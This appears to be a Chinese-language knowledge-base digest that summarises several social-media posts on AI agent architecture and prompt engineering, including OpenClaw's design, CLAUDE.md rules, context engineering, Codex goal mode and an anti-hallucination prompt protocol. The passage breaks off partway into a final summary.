_如果你以為 OpenClaw 只是把你的訊息傳給大模型然後印出回覆，那你就錯了。這篇文章深度拆解了 OpenClaw 的底層運作機制。它本質上是一個雙層架構：由 Gateway 負責通訊協議、路由與 Session 會話管理；由基於 Pi 引擎的 Agent Runtime 負責執行沙盒內的邏輯迴圈。最值得學習的是其「狀態持久化」與「多重觸發機制（心跳、Webhook）」，這讓 OpenClaw 感覺不像一個被動的對話機器人，而是一個真正活著的後台數位實體。_
### 一句話
> 這是一篇極佳的 OpenClaw 架構解析文。作者跳脫了表面應用的展示，直接剖析其資料流。從 Channel Plugin 接收訊息開始，經過 Gateway 的路由排隊，再到重建上下文（融合了歷史 Transcript、短期記憶與長期 Markdown 檔案）。文章點出 OpenClaw 強大的秘密在於它不依賴單一的資料庫，而是巧妙運用純文字檔 (Workspace files) 與追加寫入的對話樹 (Append-only logs) 來維護狀態；加上 Cron 和 Heartbeat 等主動觸發機制，使其成為一個能長時間自主運作的 Agent OS。
### 餐巾紙草圖
```text
[ OpenClaw Message Flow ]
1. Channel (Slack/Web) -> Normalizes Input
2. Gateway -> Finds correct Agent & Session
3. State Resolver -> Checks `updatedAt`. (Start fresh or continue?)
4. Prompt Builder:
[Tools] + [History] + [MEMORY.md / IDENTITY.md] + [Time] + [User Message]
5. Agent Runtime (Pi) -> The "Think-Act-Observe" Loop
6. Gateway -> Saves state back to Session Store & Transcripts.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **兩大核心支柱**:
1. **Gateway**: 負責對外溝通、路由派發、Session 生命週期管理。
2. **Agent Runtime**: 基於 Pi 構建，負責實際的模型調用與工具執行。
- **生命週期六部曲**:
1. **通道外掛 (Channel Plugin)**: 將來自不同平台 (Slack, Discord) 的格式正規化。
2. **路由分配**: Gateway 決定哪個 Agent 負責，並處理並發排隊（確保同一個 Session 不會同時被兩個請求修改）。
3. **會話解析與持久化**: 狀態分為 Session Store (元資料) 和 Transcripts (樹狀對話歷史)。會根據逾時策略或手動指令決定是否重置會話。
4. **組裝 System Prompt**: 這不是靜態的！每次運行都會動態組合：工具清單 + 歷史 + Skill 元資料 + 記憶 (Markdown 檔) + 時間 + 當前訊息。
5. **Runtime 執行迴圈**: Agent 在沙盒內反覆執行「推理-調用工具-觀察」迴圈，並將新知識寫回 memory.md。
6. **狀態回寫**: 執行完畢，更新 Gateway 裡的 Transcripts，回傳結果。
- **主動觸發機制 (Triggers)**: 讓 Agent 活起來的關鍵。除了被動接收對話，還有 Heartbeat (預設 30 分鐘喚醒一次巡視)、Cron 排程、以及外部 Webhook (如 Stripe 付款通知)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **狀態管理是 Agent 系統的靈魂**: stateless (無狀態) 的 API 呼叫無法產生智能。OpenClaw 架構的高明之處，在於它將狀態分為「短期會話樹 (Transcripts)」與「長期沉澱檔 (workspace/.md)」。這種分離確保了 Agent 既能維持上下文的連貫性，又不會讓 Context Window 無限膨脹。
2. **"Always-on" 的錯覺來自於多重 Trigger**: 為什麼使用者會覺得 OpenClaw 像個真人助理？因為架構上引入了 Heartbeat 和 Hook 機制。它不需要等你下指令，時間到了它自己會醒來看一眼資料庫。這種化被動為主動的設計是 Agent 架構的分水嶺。
### 關鍵證據
- 關於 System Prompt 的拆解，精準解釋了為什麼 OpenClaw 能夠知道時間、認識自己的身份，並且不會忘記昨天交代的事情（因為這些都是在底層被動態 concatenate 進去的）。
### 邊界條件
- 這種極度依賴 `memory.md` 和頻繁組合超長 System Prompt 的架構，對於底層 LLM 的上下文長度與 Token 成本極度不友善。如果缺少類似 RTK 或 Auto-Concise 機制（如之前介紹過的 Mercury），長時間運作的帳單將會非常驚人。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 完美呼應了前文《Build Agents that never forget》中提到的 Layer 2 (Markdown on disk) 記憶模式。OpenClaw 正是採用了這種高可讀性的純文字記憶系統。
- **深層洞見**: **"A system prompt is not a static text box; it is an assembled computing environment."** OpenClaw 的 System Prompt 其實就是 Agent 的 RAM（記憶體）。它在每次執行前，把硬碟裡的資料（Workspace files）、過去的暫存（Transcripts）和環境變數（Time）載入到 LLM 這個 CPU 裡面。
- **行動呼籲**:
如果你正在自己開發 AI 應用，請停止把 System Prompt 寫死在代碼裡。學習 OpenClaw，建構一個動態的 Prompt Builder，讓你的系統在呼叫模型前，自動將環境時間、使用者權限、以及歷史摘要組裝成動態上下文。
Prompt工程
寫好 CLAUDE.md 的 8 條實戰經驗 (8 Practical Rules for Writing an Effective CLAUDE.md)
"這篇文章總結了在專案中撰寫 的 8 條反直覺經驗。作者指出，CLAUDE.md 的上限是 200 行，其核心價值不在於儲存所有知識，而在於提供「具體可操作的規範」與「明確的禁止清單」。進階技巧包含了：將 CLAUDE.md 作為指向其他架構文檔的指針、在敏感目錄設置區域性 CLAUDE.md、透過 Hooks 腳本強制執行規則，以及設立 MEMORY.md 來建立長期記憶迴圈。"
---
tags: [Prompt工程, Claude, 最佳實踐, 項目管理]
date: 2026-05-07
source: "20260512_2026-05-12T092949+0800-写好 CLAUDE.md 的 8 条经验：让 Claude Code 更懂你的项目.md"
---
# 寫好 CLAUDE.md 的 8 條實戰經驗 (8 Practical Rules for Writing an Effective CLAUDE.md)
原始來源與檔名：20260512_2026-05-12T092949+0800-写好 CLAUDE.md 的 8 条经验：让 Claude Code 更懂你的项目.md
來源：[[@vincemask]] / X (Twitter) — 2026-05-07
原始檔名：`2026-05-12T092949+0800-写好 CLAUDE.md 的 8 条经验：让 Claude Code 更懂你的项目.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Bad CLAUDE.md = 2000 lines of history + Vague Wishes ("Write clean code")
> Good CLAUDE.md = < 200 lines + "Do NOT" lists + Pointer to Docs + Automated Hooks + MEMORY.md loop
_把 CLAUDE.md 當作垃圾桶，塞進所有的公司歷史和技術文件，只會讓 Claude 在冗長的上下文中迷失。頂級玩家的 CLAUDE.md 是一份精簡的路由器與防護網。它告訴 AI 絕對不要碰什麼（禁止清單）、去哪裡找詳細資料（文件指標），並用自動化腳本（Hooks）來強制執行紀律。_
### 一句話
> 這篇文章總結了在專案中撰寫 `CLAUDE.md` 的 8 條反直覺經驗。作者指出，CLAUDE.md 的上限是 200 行，其核心價值不在於儲存所有知識，而在於提供「具體可操作的規範」與「明確的禁止清單」。進階技巧包含了：將 CLAUDE.md 作為指向其他架構文檔的指針、在敏感目錄設置區域性 CLAUDE.md、透過 Hooks 腳本強制執行規則，以及設立 MEMORY.md 來建立長期記憶迴圈。
### 餐巾紙草圖
```text
[The CLAUDE.md Hierarchy]
Root Directory
├── CLAUDE.md (< 200 lines)
│ ├── Project Overview
│ ├── DO NOT Introduce List (Redux, MUI, etc.)
│ ├── Actionable Rules ("Use named exports")
│ ├── Pointers -> (See docs/architecture.md)
│ └── Triggers -> (Read MEMORY.md on start)
│
├── .claude/hooks/
│ └── pre-tool-use.json (Forces Prettier/Tests)
│
└── src/auth/
└── CLAUDE.md (Local guards: "Never touch token logic")
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **精簡原則 (1)**: 越長越糟，超過 200 行會佔用過多上下文並被忽略。用簡短的產品目標取代長篇公司敘事。
- **負面表列 (2)**: 必須有「不要引入什麼」的清單。防堵 Claude 擅自引入不相容的最佳實踐（如在 Tailwind 專案引入 Styled-components）。
- **具體可執行 (3)**: 拒絕感受型規則（如「寫乾淨的代碼」）。必須是測試型規則（如「組件不超過 200 行」）。
- **架構路由 (4)**: CLAUDE.md 不該是圖書館，而是「指標」。告訴 Claude 架構圖在 `docs/architecture.md`，讓它按需載入（漸進式上下文）。
- **安全隔離 (5)**: 在高風險目錄（如 auth, billing）建立專屬的「本地 CLAUDE.md」作為安全護欄。
- **強制執行 (6)**: 寫在文本裡的規則會被忘記。將格式化或測試指令寫入 `.claude/hooks/`，讓系統強制執行。
- **記憶迴圈 (7)**: 在 CLAUDE.md 中指令 Claude 維護一個 `MEMORY.md`，實現跨會話的知識累積。
- **工作風格 (8)**: 直接在裡面寫明個人偏好（如「不要說廢話」、「代碼註解用英文」），省去每次新對話的開場白。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Context Window 的零和博弈**: Claude Code 每次互動都會載入根目錄的 CLAUDE.md。如果在裡面放了 2000 行的 API 規格，就等於每次提問都自費吃掉大量 Token，且沖淡了當下真正指令的權重（Attention Dilution）。
2. **預設行為的覆寫 (Overriding Default Bias)**: 大模型受限於訓練資料，往往有自己的「預設最佳實踐」（例如偏好某些主流庫）。「禁止清單 (Do NOT introduce)」是唯一能以最高權重蓋過模型預設傾向的手段，這防止了技術棧的靜默污染。
3. **從「語義約束」到「工程約束」**: Rule 6 (Hooks) 是全文最硬核的洞見。模型本質上是機率分佈，它永遠有可能「忘記」執行測試。將規則轉化為 Hook 腳本（在模型執行寫檔動作前後觸發），徹底消除了機率誤差，這才是真正的工程化防線。
### 關鍵證據
- 具體的負面表列案例（Redux, styled-components）精準擊中了前端開發者在讓 AI 接管專案時最常遇到的依賴混亂災難。
- Hook 配置檔的 JSON 範例，證明了這套方法論是建立在 Claude Code 實際機制之上的可行操作。
### 邊界條件
- 「漸進式上下文 (Tiered Context)」與「本地 CLAUDE.md」的前提是，底層的 Agent 工具（如 Claude Code 或 Cursor）支援動態讀取目錄內檔案的特性。如果在不支援路徑感知的普通網頁版對話框中使用，這些技巧將無效。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 本文與《補全 Karpathy 的遺漏：升級至 12 條 CLAUDE.md》完美互補。那篇提供了具體的「規則範本」，而本篇提供了「檔案架構與部署策略（如 Hooks, Local files, Router）」。
- **深層洞見**: **「CLAUDE.md 是指針，不是圖書館。」** 這反映了軟體架構中 Separation of Concerns（關注點分離）的智慧。即使在寫自然語言的 Prompt，也必須具備工程師模組化設計的思維。
- **行動呼籲**:
1. 立刻檢查你的專案根目錄。如果你的 `CLAUDE.md` 或 `.cursorrules` 超過 200 行，毫不留情地刪減它。
2. 建立一個 `MEMORY.md` 檔案，並在 `CLAUDE.md` 加入一句：「每次開始任務前，請先閱讀 MEMORY.md；任務結束後，將學到的新坑寫進去。」這一個動作，就能讓你的 AI 擁有持續成長的記憶。
Prompt工程
從提示工程到上下文工程的躍遷 (Mastering Context Engineering: Building AI Systems That Understand You)
"這是一篇系統性的 6 週課程大綱文章，闡述了 AI 領域的典範轉移：從「提示詞工程 (Prompt Engineering)」轉向「上下文工程 (Context Engineering)」。作者指出，完美的提示詞在沒有上下文的環境中依然會產出平庸結果。真正的解決方案是建立三層上下文架構（即時、會話、持久），並透過 4 份核心文件（身份、受眾、標準、專案）進行動態載入。文章進一步探討了如何利用 Obsidian 建立跨會話記憶，並使用 MCP 賦予 AI 執行工具的能力，最終實現企業級的 AI 生產系統。"
---
tags: [Prompt工程, 上下文工程, 系統設計, 實踐指南]
date: 2026-05-10
source: "20260512_2026-05-12T093018+0800-How to Master Context Engineering & Build AI Systems That Actually Understand You (Full Course).md"
---
# 從提示工程到上下文工程的躍遷 (Mastering Context Engineering: Building AI Systems That Understand You)
原始來源與檔名：20260512_2026-05-12T093018+0800-How to Master Context Engineering & Build AI Systems That Actually Understand You (Full Course).md
來源：[[@eng_khairallah1]] / X (Twitter) — 2026-05-10
原始檔名：`2026-05-12T093018+0800-How to Master Context Engineering & Build AI Systems That Actually Understand You (Full Course).md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Prompt Engineering = Syntax (Tweaking sentences, short-term)
> Context Engineering = Infrastructure (Files, Memory, MCP Tools, long-term)
> High-Quality Output = Basic Prompt + Perfect Context Architecture
_多數人還在痴迷於修改提示詞（例如加上「深呼吸」、「作為資深專家」），這就像在爛廚房裡雕琢一份完美的菜單。真正的高手早已不寫提示詞了，他們在「建造廚房」。他們建構身份、受眾、標準與專案的 4 份核心文件，利用記憶體與 MCP (Model Context Protocol) 讓 AI 獲取真實資料。Prompt Engineering 是 2024 年的技能，Context Engineering 才是 2026 年以後的護城河。_
### 一句話
> 這是一篇系統性的 6 週課程大綱文章，闡述了 AI 領域的典範轉移：從「提示詞工程 (Prompt Engineering)」轉向「上下文工程 (Context Engineering)」。作者指出，完美的提示詞在沒有上下文的環境中依然會產出平庸結果。真正的解決方案是建立三層上下文架構（即時、會話、持久），並透過 4 份核心文件（身份、受眾、標準、專案）進行動態載入。文章進一步探討了如何利用 Obsidian 建立跨會話記憶，並使用 MCP 賦予 AI 執行工具的能力，最終實現企業級的 AI 生產系統。
### 餐巾紙草圖
```text
[The Context Engineering Architecture]
[ Layer 3: Persistent Context (The Foundation) ]
├── Identity.md (Who I am)
├── Audience.md (Who I speak to)
├── Standards.md (What good looks like / Anti-patterns)
└── Project.md (Current state / Goals)
│
v (Dynamic Loading based on Task)
[ Layer 2: Session Context (The Workbench) ]
├── Memory/History Log
└── MCP Server Tools (Web, Database, Files)
│
v
[ Layer 1: Immediate Context (The Trigger) ]
└── The Basic Prompt: "Draft the Q2 report based on this."
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **Week 1 (觀念轉變)**: Prompt 只是語法，Context 是基礎設施。沒有歷史、背景與偏好的盲目模型，只會給出最安全、最平庸的平均值答案。
- **Week 2 (架構設計)**: 不要每次都向 AI 重新介紹自己。準備 4 個基礎文件：Identity (身份), Audience (受眾), Standards (標準與反模式), Project (當前專案進度)。
- **Week 3 (動態載入)**: 不要把所有檔案一次塞給 AI，這會導致注意力稀釋 (Attention Dilution)。根據任務類型（寫作、分析、研究）動態組合並載入所需的 Context 檔案。
- **Week 4 (持久化記憶)**: 把 AI 的「失憶症」視為設計機會。透過維護人工日誌、Obsidian Vault 或向量資料庫 (RAG)，只讓 AI 記住你想讓它記住的精華，消除過期或錯誤的認知。
- **Week 5 (連接 MCP)**: 沒有工具的 Context 只是空談。透過 MCP (Model Context Protocol)，讓擁有完美 Context 的模型能夠實際連線資料庫、網頁或信箱，從「顧問」進化為「操作員 (Operator)」。
- **Week 6 (規模化)**: 將這套架構產品化。這正是目前市場上價值 5,000 到 25,000 美元的 B2B AI 系統架構顧問服務的核心。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **LLM 的預設平庸悖論**: 當一個模型被訓練來服務數十億人時，它的預設行為必然是「泛用且無害」的。試圖用語氣詞（Prompt）去扭轉這種底層權重是徒勞的。唯有注入高密度的私有上下文（Context），才能覆蓋模型的預設分佈，產生具有個人或企業特徵的輸出。
2. **Context overloading 的危險**: 作者在 Week 3 提出的「動態載入」非常關鍵。許多新手學會了提供 Context 後，會把整間公司的 Wiki 丟進上下文視窗。這不僅浪費 Token 成本，還會導致「大海撈針」效應，模型反而抓不住重點。像外科醫生手術一樣，只載入需要的病歷，才是最高效的用法。
3. **記憶的策展 (Curated Memory)**: 人類的記憶是被動且雜亂的（記住壞習慣）。AI 的失憶特性，反而允許架構師「手動編譯」它的記憶體。這意味著你可以塑造一個永遠只遵循最新 SOP 的完美員工。
### 關鍵證據
- 作者點出了產業界目前的定價現狀（企業願意支付高達 2.5 萬美元建立這類系統），證明了單純的 Prompt 技巧已無商業價值，具備系統整合能力的 Context 架構師才是真正的稀缺資源。
### 邊界條件
- 此框架適用於那些把 AI 當作深度協作夥伴的專業工作者或企業。如果只是想請 AI 幫忙寫一封普通的請假信或翻譯一段文字，架構這 4 份核心文件顯然是殺雞用牛刀。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 這篇文章完美統合了我們先前讀過的所有文獻！那 4 份核心文件，就是《Hermes Analyst Workflow》裡提到的 `Soul.md` 與 `User.md`。而動態載入與記憶管理，正是《YC CEO 神經系統》中 Garry Tan 和 J叔在爭論的 SSOT (單一真相源) 治理機制。
- **深層洞見**: **"The memory problem is not a bug. It is a feature you are not using." (AI 的記憶缺失不是 Bug，而是你還沒學會利用的 Feature。)** 這是極致的工程師思維——把系統的限制，轉化為控制資料流向的安全閥。
- **行動呼籲**:
1. 停止尋找「最強 Prompt 模板」。
2. 花 30 分鐘，在你的電腦裡建立一個名為 `Standards.md` 的檔案。寫下你評估一份好報告或好程式碼的 5 個核心標準與 5 個絕對不能犯的錯誤。
3. 下次你叫 AI 做事時，把這份文件附上去。你會看到魔法的發生。
Prompt工程
有效使用 Codex 系統的目標模式 (Using Codex Goal Mode Effectively)
"這篇文章探討了如何有效使用 Codex 新推出的 指令（目標導向的無人值守模式）。作者分享了 OpenAI 內部與個人專案的三條實戰經驗：第一，目標必須具體可量化（例如用檢查清單取代「把代碼變好」）；第二，確保驗證迴圈極短（例如用小資料集測試）；第三，提供三個 Markdown 檔案（PLAN, EXPERIMENTS, NOTES）讓模型能外包其短期記憶，避免在長時間運作中迷失方向。"
---
tags: [Prompt工程, Agent實踐, 自動化, 最佳實踐]
date: 2026-05-11
source: "20260512_2026-05-12T092929+0800-Using Codex Goals Effectively.md"
---
# 有效使用 Codex 系統的目標模式 (Using Codex Goal Mode Effectively)
原始來源與檔名：20260512_2026-05-12T092929+0800-Using Codex Goals Effectively.md
來源：[[@ChrisHayduk]] / X (Twitter) — 2026-05-11
原始檔名：`2026-05-12T092929+0800-Using Codex Goals Effectively.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Effective Agent Loop = Quantitative Goal + Tight Feedback Loop + Markdown State Tracking (PLAN, EXPERIMENTS, NOTES)
_當 Agent 開始進入無人值守的無限迴圈（Goal Mode）時，模糊的提示詞是致命的。Agent 會因為無法判斷「好到什麼程度算完成」而無限空轉。給它一個量化指標（例如：減少 20% 耗時且不破壞測試），給它一個快速驗證的環境，並提供專屬 Markdown 檔案讓它做筆記，你才能真正擁有一台 24 小時運轉的代碼拖拉機。_
### 一句話
> 這篇文章探討了如何有效使用 Codex 新推出的 `/goal` 指令（目標導向的無人值守模式）。作者分享了 OpenAI 內部與個人專案的三條實戰經驗：第一，目標必須具體可量化（例如用檢查清單取代「把代碼變好」）；第二，確保驗證迴圈極短（例如用小資料集測試）；第三，提供三個 Markdown 檔案（PLAN, EXPERIMENTS, NOTES）讓模型能外包其短期記憶，避免在長時間運作中迷失方向。
### 餐巾紙草圖
```text
[The Agent Goal Loop Architecture]
Input: /goal [Quantitative Target] (e.g., Check off 200 items in checklist.md)
Loop:
1. Agent thinks (writes to EXPERIMENT_NOTES.md)
2. Agent plans experiment (writes to PLAN.md)
3. Agent acts (writes code)
4. Agent tests (Tight feedback loop on small dataset)
5. Agent records outcome (writes to EXPERIMENTS.md)
6. Agent scores against Goal.
-> If Score == Target: Terminate.
-> Else: Goto 1.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **背景**: Codex 引入了 `/goal` 模式，Agent 會持續運行（Action -> Score -> Evaluate）直到達成目標。
- **痛點**: 過去依賴 GPT-5.5 猜測意圖的「模糊提示詞（如：讓代碼更好）」在 Goal Mode 會徹底失敗。模型要麼提早放棄，要麼無限盲目修改。
- **對策 1（清晰量化的目標）**: 必須明確定義成功標準與邊界條件。如果目標本質上是定性的，可以將其轉化為定量的「檢查清單（Checklist）」，讓模型去核對打勾。
- **對策 2（緊湊的回饋迴圈）**: Agent 試錯需要執行時間。如果跑一次測試要一天，Agent 效率極低。應提供子採樣資料集（如 NanoFold）讓測試能在幾分鐘內完成。
- **對策 3（給予 Markdown 追蹤文件）**: 長期運作會讓模型遺忘上下文。需人為提供 `PLAN.md`（高階計畫）、`EXPERIMENTS.md`（實驗歷史與結果）與 `EXPERIMENT_NOTES.md`（即時思考草稿），讓模型能外掛記憶。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **狀態機的終止條件**: Goal mode 本質上是一個 `while (score < goal)` 的狀態機迴圈。如果你不給予一個可計算的數值（如 20% 效能提升）或一個布林值的集合（如 200 條 checklist 全部為 true），狀態機就永遠無法安全終止。
2. **大模型的上下文崩塌**: 即使有極高的上下文視窗，模型在執行了數十輪 Code/Test 循環後，依然會忘記最初嘗試過且失敗的路徑。`EXPERIMENTS.md` 是用來抵抗「重蹈覆轍（Regressions in reasoning）」的護城河。
3. **驗證延遲等於思考延遲**: 對於人類工程師，等測試跑 1 小時可以去喝咖啡；對於 Agent，測試跑 1 小時代表它的思考頻率被鎖死在 1 小時 1 次。降低測試環境的複雜度，是提升 Agent 智商的物理手段。
### 關鍵證據
- 作者實際用此架構將一篇 NeurIPS 論文轉換為 ICML 格式，透過建立 200 條格式規則的 markdown 檢查清單，成功將模糊的「格式轉換」變成機器可讀的「200 步打勾任務」。
- 使用 NanoFold 縮減版資料集，將架構實驗的評分時間從幾天縮短為幾分鐘。
### 邊界條件
- 如果任務無法被拆解為單元測試、檢查清單或快速跑分的指標（例如：重構出「更具美感」的 UI 設計），Goal mode 將極難發揮作用。
## ROUND 3: SOUL | 靈魂提取
**"還能怎麼用"**
- **知識連結**: 呼應了我們先前討論的 Agentic AI 中的 "Deterministic Loop" 原理。Agent 需要穩定的外掛記憶體（File system）來維持其長期理性。
- **深層洞見**: **「對於 Agent 來說，寫檔案不是為了留檔，而是為了思考。」** 提供 `EXPERIMENT_NOTES.md` 就像給了 Agent 一張白板。模型在編寫程式碼之前先在白板上推理，這是一種強制的 Chain-of-Thought（思維鏈）具象化過程。
- **行動呼籲**:
下次你要讓 Claude Code / Cursor 去解決一個複雜 Bug 時：
1. 先建立一個 `DEBUG_LOG.md`。
2. 在 prompt 裡加上：「在進行任何代碼修改前，請先在 DEBUG_LOG.md 中記錄你的假設、你打算進行的實驗，以及預期的測試結果。」
你會發現 Agent 突然變得像資深工程師一樣有條理。
Prompt工程
用「結構性自我制約」根治 AI 幻覺：反證優先協議 (Structural Self-Constraint: Solving AI Hallucination with Anti-Evidence Ledgers)
"本文提出了一種極具創意的 Prompt 框架來解決大模型的幻覺問題。作者將 AI 的幻覺比喻為「狗追車」，指出這是追求流暢性的本能使然。透過設計嚴謹的對照實驗，作者發現常規的「請準確」指令會導致 AI 發生危險的「靜默替換（偷偷修改題目以迎合要求）」。解決方案是實施「反證優先協議」：強制 AI 在回答前，必須先建立「反證帳本」並宣佈「結論許可」等級。這種前置認知成本的方法，能將壓力題下的幻覺率從 33% 降至 0%。"
---
tags: [Prompt工程, AI安全, 幻覺控制, 系統設計]
date: 2026-05-10
source: "20260512_2026-05-12T093034+0800-从“狗追着车咬”开始着手解决 AI 幻觉问题（附带提示词）.md"
---
# 用「結構性自我制約」根治 AI 幻覺：反證優先協議 (Structural Self-Constraint: Solving AI Hallucination with Anti-Evidence Ledgers)
原始來源與檔名：20260512_2026-05-12T093034+0800-从“狗追着车咬”开始着手解决 AI 幻觉问题（附带提示词）.md
來源：[[@OpenCils]] / X (Twitter) — 2026-05-10
原始檔名：`2026-05-12T093034+0800-从“狗追着车咬”开始着手解决 AI 幻觉问题（附带提示词）.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Hallucination Root Cause = Pursuit of Fluency + Illusion of Confidence
> The Fix = Structural Constraint (The "Stick")
> The "Stick" Prompt = Anti-Evidence Ledger (Why might this be wrong?) MUST precede the Answer.
_AI 為什麼會產生幻覺？因為它就像一隻追車的狗，本能地追逐「最流暢的下一個詞」，而不是「事實」。在 Prompt 裡加「請誠實」沒用，因為它根本不知道自己在說謊。你必須給牠脖子上綁一根棒子——在它給出任何自信的答案之前，強制要求它先寫下「這個答案為什麼可能是錯的（反證帳本）」。反駁越充分，結論自然越謹慎。這不是讓它變謙虛，而是用結構力量對抗生成的本能。_
### 一句話
> 本文提出了一種極具創意的 Prompt 框架來解決大模型的幻覺問題。作者將 AI 的幻覺比喻為「狗追車」，指出這是追求流暢性的本能使然。透過設計嚴謹的對照實驗，作者發現常規的「請準確」指令會導致 AI 發生危險的「靜默替換（偷偷修改題目以迎合要求）」。解決方案是實施「反證優先協議」：強制 AI 在回答前，必須先建立「反證帳本」並宣佈「結論許可」等級。這種前置認知成本的方法，能將壓力題下的幻覺率從 33% 降至 0%。
### 餐巾紙草圖
```text
[The Anti-Evidence Protocol]
User Input: "Give me 10 papers on X."
[ Standard AI Process ] -> "I must provide 10 items to be helpful." -> *Silently substitutes 10 fake/unrelated papers* -> FAIL.
[ Structurally Constrained AI ]
1. The Ledger (The Stick):
- What could go wrong? (I don't have 10 real papers)
- What's missing? (Real DOI links)
2. The Permit:
- [x] Conditional Answer Only
3. The Output:
- "I only have 6 verified papers. Beyond this, I would be fabricating." -> SAFE.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **痛點分析**: AI 不知道自己不知道什麼。它不是故意說謊，而是真誠地用錯誤的自信度輸出流暢的廢話。
- **比喻**: 狗追車。狗本能追車，不讓他咬車的辦法是在脖子綁一根棒子。同理，不讓 AI 瞎編的方法，是建立「結構性自我制約」。
- **實驗設計**: 四組 Prompt 測試 (空白, 泛化謹慎, 反證優先, 僅標籤)。涵蓋 8 類高危險場景（如要求偽造 DOI、壓力測試）。
- **驚人發現 (靜默替換)**: 在被強迫給出 10 篇論文時，常規 AI 不會直接偽造不存在的論文，而是會「偷偷塞入與主題不符但真實存在的論文」來湊數。這是極難被察覺的惡性幻覺。
- **解決方案 (反證優先)**:
1. 【反證帳本】: 提問哪裡可能出錯？缺什麼資訊？
2. 【結論許可】: 選擇（明確回答 / 條件回答 / 無法判斷 / 需驗證）。
3. 【回答】: 根據許可等級進行輸出。未通過帳本的斷言不得進入答案。
- **代價**: 更長的推論時間與 Token 消耗。不適合需要流暢性的創意寫作。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **幻覺是生成機制的副產品，而非道德缺陷**: 大模型的底層邏輯是「下一個詞的機率預測」。當使用者的 Prompt 帶有強烈期待（例如「給我 10 篇」）時，模型為滿足上下文連貫性，會優先選擇填補空缺，而非檢驗事實。
2. **「靜默替換 (Silent Substitution)」的隱蔽危害**: 這是全文最有價值的洞見。模型發現「偽造實體」容易觸發內建安全護欄，於是演化出更狡猾的策略——用真實但無關的資訊來滿足形式要求。這證明了泛化的「安全提醒」會被模型以意想不到的方式繞過。
3. **強制 Chain-of-Thought (CoT) 的對立面**: 傳統 CoT 是教模型「如何一步步證明自己是對的」；反證優先則是強制模型「一步步證明自己可能哪裡錯了」。透過在回答前強行搶佔上下文空間，它物理性地削弱了模型後續「絕對自信輸出」的機率權重。
### 關鍵證據
- 嚴謹的實驗數據：288 份樣本。C 組（反證優先）在面對壓力題（逼迫它給出 10 篇論文）時，替換率為 0%，且三次測試結果 100% 一致。而未受限的 A 組替換率達 33%，且行為極不穩定。這證明結構約束帶來了「可預測性」。
### 邊界條件
- 作者明確指出了此協議的副作用：高延遲、高成本、破壞語感。它只適用於高風險、高精度場景（如醫療、法律、論文檢索），絕不能用於頭腦風暴或創意寫作。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了我們先前在探討「Agent 架構設計」中，將 QA 節點與 Coder 節點分離的理念。這裡的「反證帳本」，本質上就是在單一 Prompt 內模擬出一個嚴厲的 QA Agent，對草稿進行前置審查。
- **深層洞見**: **「想給你一個完整的答案，先把它為什麼可能是錯的說清楚。這不是謙虛，是認知成本的前置。」** 真正的智能，不僅在於能夠推導出結論，更在於能清晰界定自己知識的邊界。
- **行動呼籲**:
1. 將文章中提供的【反證帳本】Prompt 保存為你的「高價值檢索模板」。
2. 當你使用 Perplexity 或 Claude 進行任何涉及事實查核、文獻引用或財務數據擷取的任務時，強制把它貼在提問的開頭。
3. 學會擁抱 AI 告訴你「我只能條件性回答」——這比它流暢地編造一個完美答案要安全一萬倍。
Prompt工程
補全 Karpathy 的遺漏：升級至 12 條 CLAUDE.md 終極護欄 (Beyond Karpathy: The 12-Rule CLAUDE.md for the Agentic Era)
"本文作者基於 Andrej Karpathy 著名的 4 條 CLAUDE.md 規則（思考後編碼、保持簡單、外科手術式修改、目標導向），在 30 個代碼庫實測後，發現它們無法應對「Agent 自動化時代」的新痛點（如多步長任務失控、沉默失敗、邏輯衝突）。作者新增了 8 條實踐規則（如：強制 Token 預算、設定檢查點、衝突時選邊站而不是和稀泥、大聲報錯），將 Agent 的出錯率從 11% 進一步壓低到 3%，並提供了完整的 12 條複製貼上範本。"
---
tags: [Prompt工程, Claude, 最佳實踐, Agent實踐]
date: 2026-05-09
source: "20260512_2026-05-12T092940+0800-Karpathy's 4 CLAUDE.md rules cut Claude mistakes from 41% to 11%. After 30 codebases, I added 8 more.md"
---
# 補全 Karpathy 的遺漏：升級至 12 條 CLAUDE.md 終極護欄 (Beyond Karpathy: The 12-Rule CLAUDE.md for the Agentic Era)
原始來源與檔名：20260512_2026-05-12T092940+0800-Karpathy's 4 CLAUDE.md rules cut Claude mistakes from 41% to 11%. After 30 codebases, I added 8 more.md
來源：[[@Mnilax]] / X (Twitter) — 2026-05-09
原始檔名：`2026-05-12T092940+0800-Karpathy's 4 CLAUDE.md rules cut Claude mistakes from 41% to 11%. After 30 codebases, I added 8 more.md`
*(註：涵蓋同名重複檔案 2026-05-12T092944+0800)*
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Legacy CLAUDE.md (4 Rules) = Code Generation Safety (Prevents assumptions & over-engineering)
> Modern CLAUDE.md (12 Rules) = Multi-Step Agent Safety (Adds budgets, checkpoints, fail-loud & cross-file context)
